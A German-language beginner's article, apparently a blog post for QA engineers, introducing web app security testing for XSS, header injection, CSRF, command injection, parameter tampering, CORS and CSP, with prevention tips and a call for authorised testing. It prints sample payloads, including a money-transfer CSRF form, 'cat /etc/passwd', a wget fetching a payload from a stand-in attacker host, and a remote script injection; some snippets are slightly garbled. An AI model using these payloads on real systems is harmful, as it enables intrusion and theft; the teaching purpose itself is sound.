Dieser Artikel untersucht grundlegende Schwachstellen und Testtechniken und bietet praktische Einblicke, um Ihre Fähigkeiten im Pentesting von Web-Apps zu verbessern. Der Artikel kombiniert eine Reihe meiner Beiträge, die sich an QA-Ingenieure und -Analysten richten, und bietet eine praktische Untersuchung grundlegender Schwachstellen im Bereich der Cybersicherheit. Der Zweck besteht darin, QA-Ingenieuren/Testern/Analysten Wissen zu vermitteln, das die Lücke zwischen Software-QA und Cybersicherheit schließt und einen einheitlichen Ansatz zur Gewährleistung der Integrität und Sicherheit von Webanwendungen fördert.
Dies ist kein ultimativer Leitfaden, aber ich möchte meine Erfahrungen als QA-Ingenieur teilen, der sich für den Bereich Cybersicherheit interessiert; Es werden recht oberflächliche Informationen mit einigen nützlichen Links sein, falls Sie daran interessiert sind, einige Aspekte tiefer zu erfahren.
Eine der kritischsten und häufigsten Schwachstellen ist XSS – https://owasp.org/www-community/attacks/xss/
Ich werde einen einfachen Ansatz und Tipps zum Testen auf XSS weitergeben, ohne über umfassende Kenntnisse auf diesem Gebiet und in den Frontend-Entwicklungstechnologien zu verfügen.
<script>alert('XSS');</script> (%0ejavascript:alert(/XSS/))
Senden Sie die Eingabe und prüfen Sie, ob das Skript ausgeführt wird.
Wenn dies der Fall ist, ist die Anwendung anfällig für XSS-Angriffe.
Wenn das Skript nicht ausgeführt wird, versuchen Sie, die Eingabe zu ändern, indem Sie andere HTML-Tags wie <img> oder <iframe> hinzufügen, und prüfen Sie, ob diese z. B. auf der Seite angezeigt werden (dieses Beispiel funktioniert bei mir fast immer).
<b>t</b>#`"/*—est
Sie können ein Skript hinzufügen, um Parameter Ihrer Web-App-URL oder einen Benutzernamen, hochgeladene Dateinamen ( https://github.com/cure53/H5SC ) oder jeden beliebigen Text abzufragen, der auf der App-Seite angezeigt wird und den Sie ändern können .
Beachten Sie die Front-End-Validierung von Eingaben. Versuchen Sie immer, den Wert über eine direkte Anfrage zu übermitteln (mit Postman, Burp oder ähnlichen Tools).
Verwenden Sie Fuzzing und eine Liste von Nutzlasten – automatisieren Sie diesen Ansatz nach Möglichkeit oder verwenden Sie spezielle Tools dafür.
Apropos Tools: Es gibt viele davon, um XSS zu entdecken, verschiedene auszuprobieren, die Ergebnisse mehrmals mit verschiedenen Apps zu vergleichen und das auszuwählen, das Ihnen am besten gefällt: https://linuxhint.com/free_xss_tools/ (ich habe es oft verwendet OWASP ZAP und BurpSuite).
Persönlich verwende ich gerne Payloads und Informationen von hier – https://github.com/s0md3v/AwesomeXSS – meiner Meinung nach eine sehr nützliche Ressource.
Weitere Informationen zu XSS und Payloads finden Sie in den folgenden Ressourcen:
Diese Sicherheitslücke tritt auf, wenn ein Angreifer bösartigen Code in den Header einer Website einschleusen kann, wodurch er nicht autorisierte Aktionen ausführen oder auf vertrauliche Informationen zugreifen kann.
Um Header-Injektionen zu testen, können Sie einige Schritte ausführen:
(%0d%0a OR \r\n)
Beispielsweise könnte die folgende Nutzlast verwendet werden, um einen Set-Cookie-Header einzufügen:
User-Agent: Mozilla/5.0\r\nSet-Cookie: sessionid=111111 https:// yoursite. com?cookie=123%0D%0ASet-Cookie%3A%20TESTCOOKIE=hacked
Ein weiteres Beispiel ist die Host-Header-Injection, bei der ein Angreifer den Host-Header manipulieren kann, um auf eine andere Website oder Subdomain auf demselben Server zuzugreifen. Zum Beispiel:
Host: yoursite.com\r\n\r\nGET /admin HTTP/1.1\r\nHost: admin.yoursite.com
Weitere Informationen zu Header-Injektionen finden Sie in den folgenden Ressourcen:
CSRF tritt auf, wenn eine bösartige Website einen Benutzer dazu verleitet, auf einer anderen Website zu agieren, bei der der Benutzer gerade angemeldet ist. Diese Art von Angriff kann dazu führen, dass im Namen des Benutzers nicht autorisierte Aktionen (jede POST-Anfrage) ausgeführt werden.
Um auf CSRF-Schwachstellen zu testen, können Sie kurz gesagt Folgendes tun:
<html> <body onload="document.forms[0].submit()"> <form action="https:// yoursite .com /money_transfer" method="POST"> <input type="hidden" name="toAccount" value="attackerAccount"> <input type="hidden" name="amount" value="1000"> </form> </body> </html>
Um CSRF-Angriffe zu verhindern, verwenden Sie Anti-CSRF-Token oder Cookies auf derselben Website, um den Ursprung der Anfrage zu validieren. Bei diesen Token handelt es sich um eindeutige Werte, die vom Server generiert und in die Formular- oder URL-Parameter aufgenommen werden. Beim Absenden des Formulars prüft der Server, ob das Token mit dem erwarteten Wert übereinstimmt, und lehnt die Anfrage ab, wenn sie nicht übereinstimmen. Hier ist ein Beispiel in Python:
import requests # Get the CSRF token from the cookie def get_csrf_token(): cookie = requests.utils.dict_from_cookiejar(requests.cookies) return cookie.get('csrfToken') # Send an HTTP request with the CSRF token in the headers def send_http_request(url, data): csrf_token = get_csrf_token() headers = { 'Content-Type': 'application/json', 'X-CSRF-TOKEN': csrf_token } response = requests.post(url, headers=headers, data=data) return response
Nützliche Ressourcen:
RCE- und Command-Injection-Schwachstellen treten auf, wenn Angreifer beliebigen Code oder Betriebssystembefehle auf einem Zielsystem ausführen können. Solche Angriffe können zur vollständigen Kompromittierung des Systems und zum unbefugten Zugriff auf sensible Daten führen.
Um auf RCE- und Command-Injection-Schwachstellen zu testen, können Sie kurz gesagt Folgendes tun:
; ls -la - list the contents of a directory cat /etc/passwd - show the password file wget https://myhackersite.evil/payload - download files with malicious code from a remote server ping -c 1 https://www.linkedin.com/redir/general-malware-page?url=myhackersite%2eevil%2ecom - ping the attacker's website 3
Nicht alle Nutzlasten führen zu einer sichtbaren Ausgabe. In solchen Fällen müssen Sie möglicherweise andere Methoden verwenden, z. B. die Überwachung des Netzwerkverkehrs oder die Überprüfung von Protokolldateien.
Um RCE- und Command-Injection-Angriffe zu verhindern, müssen Benutzereingaben validiert und bösartige Zeichen oder Befehle entfernt oder bereinigt werden.
Hier sind einige nützliche Ressourcen zum weiteren Lernen:
Diese Art von Angriff tritt auf, wenn Sie die von der Clientseite an die Serverseite gesendeten Parameter manipulieren, was beispielsweise zu unbefugtem Zugriff oder einer Rechteausweitung führt.
Um diese Art von Schwachstelle zu testen, können Sie Folgendes tun:
Um Web-Parameter-Manipulationsangriffe zu verhindern, sind Eingabevalidierung und -bereinigung von entscheidender Bedeutung. Stellen Sie sicher, dass alle Eingabedaten auf der Serverseite validiert werden und dass die Anwendung alle böswilligen Eingaben zurückweist. Ich würde sagen, dass diese Art von Schwachstellen am besten von einem QA-Team identifiziert werden können, da QAs die Anwendung/das Produkt sowie deren Logik und Parameter besser kennen als Infosec-Ingenieure, die normalerweise nicht am Entwicklungsprozess beteiligt sind.
Hier sind einige zusätzliche Ressourcen, die Ihnen helfen, mehr über die Manipulation von Web-Parametern zu erfahren:
Hierbei handelt es sich um einen Sicherheitsmechanismus, der verhindert, dass Webseiten Anfragen an eine andere Domäne stellen als die, die die Webseite bereitgestellt hat.
Sie können dies testen, indem Sie Folgendes tun:
fetch('https://beapimysite.com') .then(response=>response.json()) .then(data=>{ console.log(data); })
access to fetch at 'https://beapimysite.com' from origin 'https://www. google.com' has been blocked by CORS policy: No 'Access-Control-Allow-Origin' header is present on the requested resource.
Führen Sie diese einfachen Schritte aus:
Request from https://mysite.com to https://beapimysite.com: GET /api/data HTTP/1.1 Host: beapimysite.com Origin: https ://mysite.com Access-Control-Request-Method: GET Access-Control-Request-Headers: X-Requested-With
Antwort:
HTTP/1.1 200 OK Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, OPTIONS Access-Control-Allow-Headers: X-Requested-With
Für weitere Informationen zu CORS finden Sie hier einige hilfreiche Ressourcen:
CSP ist ein Mechanismus, der hilft, XSS-Angriffe zu verhindern, indem er es ermöglicht, anzugeben, welche Inhaltsquellen auf die Webseiten geladen werden dürfen. Ohne einen CSP-Headersatz besteht möglicherweise die Möglichkeit, bösartige Skripte in die Seite einzuschleusen und vertrauliche Benutzerdaten zu stehlen oder andere Aktionen auszuführen.
Sie können den CSP-Header wie folgt überprüfen:
document.cookie=TESTCOOKIE=XSS;
Versuchen Sie, ein Skript in die Seite einzufügen und prüfen Sie, ob es ausgeführt wird. Fügen Sie beispielsweise den folgenden Code in die Browserkonsole ein:
var script = document.create; Element('script');script.src = 'http://dangeroussite.com/dolphin.js'; document.head.appendChild(script);
Suchen Sie in den Antwortheadern nach dem Content-Security-Policy-Header. Wenn dieser Header fehlt, bedeutet dies, dass für die Webseite kein CSP-Header festgelegt ist.
Der CSP-Header ist eine wichtige Sache für die Sicherheit von Web-Apps.
Weitere Informationen zu CSP:
Die symbiotische Beziehung zwischen Cybersicherheit und Software-Qualitätssicherung ist wichtig für die Sicherheit von Software-Apps. Durch die Integration von Bedrohungsmodellierungsmethoden und automatisierten Fuzz-Testtechniken tragen QA-Ingenieure erheblich zur Früherkennung und Behebung von Sicherheitslücken bei. Die Zusammenarbeit zwischen Cybersicherheits- und QA-Teams ist ein integraler Bestandteil eines einheitlichen Ansatzes für die Softwareentwicklung, wobei die Rolle der Qualitätssicherung über Funktions- und Benutzerfreundlichkeitstests hinausgeht und die proaktive Identifizierung und Behebung potenzieller Sicherheitslücken umfasst. Es ist wichtig, die Qualitätssicherung als strategisches Gut bei Cybersicherheitsbemühungen anzuerkennen, da sie nicht nur den Datenschutz verbessert, sondern auch den Ruf eines Unternehmens, das Kundenvertrauen und die allgemeine finanzielle Stabilität schützt. Die technischen Fähigkeiten der QA-Experten gepaart mit ihren strengen Testpraktiken bilden einen robusten Schutz gegen Cyber-Bedrohungen.
Führen Sie Penetrationstests immer mit ausdrücklicher Genehmigung und in einer kontrollierten Umgebung durch. Dieser ethische Ansatz stellt sicher, dass Sicherheitsbewertungen mit verantwortungsvollen Testprotokollen übereinstimmen, unbeabsichtigte Gefährdungen von Systemen verhindern und die Integrität sowohl des Testprozesses als auch der übergreifenden Cybersicherheitsstrategie wahren.
Dieser Artikel enthält praktische Tipps für QA-Ingenieure zur Verbesserung der Sicherheitstests von Web-Apps und zur Verknüpfung von Software-QA und Cybersicherheit. Es ist ein einsteigerfreundlicher Leitfaden mit Einblicken und nützlichen Links für diejenigen, die mehr erfahren möchten.
Auch hier veröffentlicht.